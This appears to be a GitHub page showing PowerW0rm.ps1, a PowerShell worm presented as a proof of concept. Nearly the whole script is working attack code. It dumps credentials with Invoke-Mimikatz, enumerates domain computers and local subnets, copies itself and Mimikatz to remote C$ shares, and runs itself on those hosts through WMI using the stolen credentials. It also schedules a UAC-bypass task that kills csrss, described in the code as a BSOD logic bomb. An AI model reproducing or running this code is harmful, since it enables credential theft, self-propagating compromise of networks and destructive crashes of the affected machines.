-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathPowerW0rm.ps1
200 lines (170 loc) · 11.7 KB
/
PowerW0rm.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
<####
# PowerW0rm.ps1, a worm PoC
# see http://khr0x40sh.wordpress.com for details
####>
<####################### Credential Harvesting ###########################>
#try to grab creds
$scriptPath = split-path -parent $MyInvocation.MyCommand.Definition
$scriptPath = $scriptPath + "\Invoke-Mimikatz.ps1 -dumpcreds"
$creds = powershell -exec Bypass $scriptPath
$creds_str = [string]$creds
Write-Host "##############################################################"
$creds_regex= @"
.*\*\sUsername.*
.*\*\sDomain.*
.*\*\sPassword.*
"@
$creds_str = $creds -replace " ", "`r`n"
$cred_store = @{}
$found = new-object System.Text.RegularExpressions.Regex($creds_regex, [System.Text.RegularExpressions.Regexoptions]::Multiline)
$m=$found.Matches($creds_str)
function parsed()
{
Param([string]$str1)
$p1 = $str1 -split '[\r\n]'
$parse=@()
for ($j=0; $j -lt 3; $j++)
{
$num = $j*2
$p2 = $p1[$num].split(":")
#Write-Host $j "," $num "," $p2
$p3 = $p2[1]
$parse+= , $p3
}
return $parse
}
$hostN = [System.Net.Dns]::GetHostName()
Write-Host $hostN
$version = "1"
$multiT = 0
#get OS_VERSION, if 6 then use %USERPROFILE%\Downloads, else %USERPROFILE%\My Documents... left in to be easily changed
$prof = "USERPROFILE"
$profile = (get-item env:$prof).Value +"\Downloads"
#$profile = "C:\Users\Public\Downloads"
$enum = Get-WMIObject win32_NetworkAdapterConfiguration |
Where-Object { $_.IPEnabled -eq $true } |
Foreach-Object { $_.IPAddress } |
Foreach-Object { [IPAddress]$_ } |
Where-Object { $_.AddressFamily -eq 'Internetwork' } |
Foreach-Object { $_.IPAddressToString }
#Write-Host $enum #debug
function getDomain {
$final = @()
#get Domain computers
$strCategory = "computer"
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher
$objSearcher.SearchRoot = $objDomain
$objSearcher.Filter = ("(objectCategory=$strCategory)")
$colProplist = "name", "cn"
foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)}
$colResults = $objSearcher.FindAll()
foreach ($objResult in $colResults)
{
$objComputer = $objResult.Properties
$bleh = $objComputer.name
$final += $bleh
}
return $final
}
function getClassC{
Param($ip);
$final = @()
$classC = $ip.Split(".")[0]+"."+$ip.Split(".")[1]+"."+$ip.Split(".")[2]
for($i=1; $i -lt 255; $i++)
{
$final += $classC + $i.ToString()
}
return $final
}
function getNetStatHosts{
Param($ip);
$final = @()
#//netstat mode
$n = netstat -ano
foreach ($n2 in $n)
{
$n4= $n2.Split(" ")
foreach ($n3 in $n4)
{
$n5 = $n3.Split(":")[0]
if (($n5.Length -gt 7) -and ($n5.Length -lt 22))
{
if (!( ($n5 -eq "0.0.0.0") -or ($n5 -eq $ip) -or ($n5 -eq "127.0.0.1") ) )
{
if ($n5.Contains("."))
{
Write-Host $n5
$final += $n5
}
}
}
}
}
}
<####################### Enumeration ###########################>
$nethosts=@()
try
{
$nethosts= getDomain
}
catch
{
try
{
$nethosts= getClassC $enum
}
catch
{
$nethosts = getNetStatHosts $enum
}
}
$nethosts = $nethosts | select -uniq
foreach ($nethost in $nethosts)
{
write-host "Exec on " + $nethost
if ($nethost.Length -gt 0)
{
$i=1
<####################### Creds Parse, round 2 ###########################>
if ($m)
{
$c_arr= @()
$c_arr = parsed($m[$i].Value)
$pdub = [string]$c_arr[2].trim()
$password = ConvertTo-SecureString -string $pdub -AsPlainText -force
$user1 = $c_arr[1].trim()+"\"+$c_arr[0].trim()
$cred = New-Object -TypeName System.Management.Automation.PSCredential -argumentlist $user1,$password
}
#Write-host $user1 #debug
<####################### Spread ###########################>
$pro1 = $profile.Substring(3,$profile.Length-3)
$psdrive = "\\"+$nethost+"\C$\"+ $pro1
#### New-PsDrive : create a new PsDrive only visible in powershell environement :
New-PSDrive -Name Y -PSProvider filesystem -Root $psdrive
#### Copy to remote side ####
Copy-Item $profile\PowerW0rm.ps1 Y:\PowerW0rm.ps1
Copy-Item $profile\Invoke-Mimikatz.ps1 Y:\Invoke-Mimikatz.ps1
Remove-PsDrive -Name Y:
<####################### Exec ###########################>
<###Templates#####
# Current User : Invoke-WMIMethod -Class Win32_Process -Name Create -Computername $nethost -ArgumentList $cmd
# Dumped User : Invoke-WMIMethod -Class Win32_Process -Name Create -Authentication PacketPrivacy -Computername $nethost -Credential $cred -Impersonation Impersonate -ArgumentList $str
# Schtasks : Schtasks /CREATE /S $nethost /SC Daily /MO 1 /ST 00:01 /TN "update54" /TR $task /F
# Schtasks /RUN /TN "update54"
# Schtasks /DEL /TN "update54"
#################>
$run = "powershell -exec Bypass "+$profile+"\\PowerWorm.ps1"
$task = $profile+"\\bypassuac-x64.exe /C powershell.exe -exec Stop-Process csrss" # BSOD for a logic bomb
#run with dump creds
Invoke-WMIMethod -Class Win32_Process -Name Create -Authentication PacketPrivacy -Computername $nethost -Credential $cred -Impersonation Impersonate -ArgumentList $run
#run as current user
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList $run
#schtask example
schtasks /CREATE /S $nethosts /SC Daily /MO 1 /ST 00:01 /TN "update54" /TR $task /F #scheduled for the 1st of the year @ 00:01 AM
schtasks /RUN /TN "update54" #Runs task immediately (kills worm, but just PoC)
schtasks /DEL /TN "update54" #would never run in this context, but is an example
#### PROFIT #####>
}
}
#>